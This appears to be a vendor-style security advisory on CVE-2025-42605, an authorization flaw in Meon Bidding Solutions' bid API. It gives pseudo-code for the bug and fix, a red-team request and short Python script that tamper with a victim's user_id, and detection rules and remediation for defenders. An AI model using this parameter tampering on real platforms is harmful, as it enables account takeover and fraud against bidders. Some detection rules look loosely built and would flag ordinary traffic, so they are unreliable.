CVE-2025-42605

Executive Summary

CVE-2025-42605 is an improper authorization vulnerability in Meon Bidding Solutions. The flaw exists in API endpoints handling initiation, modification, or cancellation operations. An authenticated remote attacker can manipulate parameters in the API request body to gain unauthorized access to other user accounts, leading to unauthorized data manipulation. No public exploit code or patch is currently available. The vulnerability has a CVSS score of 0.0 (placeholder) and an EPSS score of 0.0%, indicating low exploitation probability at this time.

Supply Chain & Package Security

This vulnerability is not associated with NPM, PyPI, Go, or Ruby packages. It is a proprietary web application vulnerability in Meon Bidding Solutions.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (placeholder – no official vector provided)
• Attack Vector: Network (authenticated)
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Changed (unauthorized access to other accounts)
• Confidentiality Impact: High (access to other user data)
• Integrity Impact: High (modification of other user data)
• Availability Impact: None
• Threat Level: High (due to potential for account takeover and data manipulation)

Deep Dive & Mechanics

The vulnerability stems from improper authorization controls on API endpoints that handle the initiation, modification, or cancellation of bidding operations. The application fails to verify that the authenticated user has the right to perform actions on behalf of another user. By manipulating parameters in the API request body (e.g., user_id, account_id, or bid_id), an attacker can impersonate other users and perform actions such as:

• Initiating bids on behalf of other users.
• Modifying existing bids or account settings.
• Cancelling bids or transactions belonging to other users.

The root cause is a lack of server-side authorization checks. The application likely relies on client-side parameters to determine the target user, without validating that the authenticated session corresponds to the target user.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code pattern is expected to be similar to:

Vulnerable (pseudo-code):

@app.route('/api/bid/modify', methods=['POST'])
def modify_bid():
    user_id = request.json.get('user_id')
    bid_id = request.json.get('bid_id')
    new_amount = request.json.get('amount')
    # No check if current user == user_id
    db.update_bid(user_id, bid_id, new_amount)
    return jsonify(success=True)

Patched (expected):

@app.route('/api/bid/modify', methods=['POST'])
def modify_bid():
    current_user = get_current_user()
    target_user_id = request.json.get('user_id')
    if current_user.id != target_user_id and not current_user.is_admin:
        return jsonify(error="Unauthorized"), 403
    bid_id = request.json.get('bid_id')
    new_amount = request.json.get('amount')
    db.update_bid(target_user_id, bid_id, new_amount)
    return jsonify(success=True)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authenticated session (e.g., cookie or token) for a low-privilege user.
• Knowledge of the API endpoint structure (e.g., /api/bid/initiate, /api/bid/modify, /api/bid/cancel).

Exploitation Steps:

1. Intercept API requests using a proxy (e.g., Burp Suite).
2. Identify a request to modify a bid. Example:

   POST /api/bid/modify HTTP/1.1
   Host: bidding.example.com
   Cookie: session=valid_session_token
   Content-Type: application/json
   
   {"user_id": "victim_user_id", "bid_id": "12345", "amount": "999999"}
   

3. Change the user_id parameter to a target victim's user ID.
4. Send the request. If the server does not validate ownership, the action will be performed on behalf of the victim.

Automation Script (Python):

import requests

target_url = "https://bidding.example.com/api/bid/modify"
session_cookie = {"session": "valid_session_token"}
payload = {
    "user_id": "victim_user_id",
    "bid_id": "12345",
    "amount": "999999"
}
response = requests.post(target_url, cookies=session_cookie, json=payload)
print(response.text)

Blue Team

Detection:

• Monitor for API requests where the user_id parameter differs from the authenticated user's ID.
• Alert on multiple failed authorization attempts (403 errors) followed by successful unauthorized actions.
• Use the Sigma rule below to detect anomalous parameter manipulation.

Hunting:

• Search logs for API calls to /api/bid/* where the user_id in the request body does not match the session user.
• Correlate with user activity logs to identify account takeover patterns.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /api/bid/initiate, /api/bid/modify, /api/bid/cancel with manipulated user_id parameters.
  • Unusual patterns of bid modifications from a single IP across multiple user accounts.
• Logs:
  • API access logs showing user_id parameter changes without corresponding session changes.
  • Multiple 403 errors followed by successful 200 responses on the same endpoint.
• File:
  • No specific file-based IOCs.

Detection Engineering

YARA Rule

rule Detect_Meon_Bidding_Unauthorized_API_Access {
    meta:
        description = "Detects attempts to exploit CVE-2025-42605 by manipulating user_id in API requests"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-42605"
    strings:
        $api_endpoint = "/api/bid/" nocase
        $user_id_param = "\"user_id\":" nocase
        $session_cookie = "session=" nocase
    condition:
        $api_endpoint and $user_id_param and #session_cookie > 0
}

Sigma Rule

title: CVE-2025-42605 - Meon Bidding Unauthorized API Access
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects API requests with manipulated user_id parameter indicating potential exploitation of CVE-2025-42605
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: "/api/bid/"
        cs-uri-query|contains: "user_id="
    condition: selection
falsepositives:
    - Legitimate administrative actions
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-42605 - Meon Bidding Unauthorized API Access"; flow:to_server; content:"/api/bid/"; http_uri; content:"user_id"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Meon Bidding application from the internet if possible.
2. Implement server-side authorization checks on all API endpoints handling user-specific data.
3. Validate that the authenticated user's session ID matches the user_id parameter in every request.
4. Apply principle of least privilege – ensure users can only modify their own data.

Long-Term Fix:

• Vendor must release a patch that adds proper authorization controls.
• Conduct a full security audit of all API endpoints.
• Implement role-based access control (RBAC) and enforce it server-side.

Workaround:

• Use a Web Application Firewall (WAF) to block requests where the user_id parameter does not match the session user (requires custom rule).
• Monitor logs for anomalous API usage patterns.

Valters IT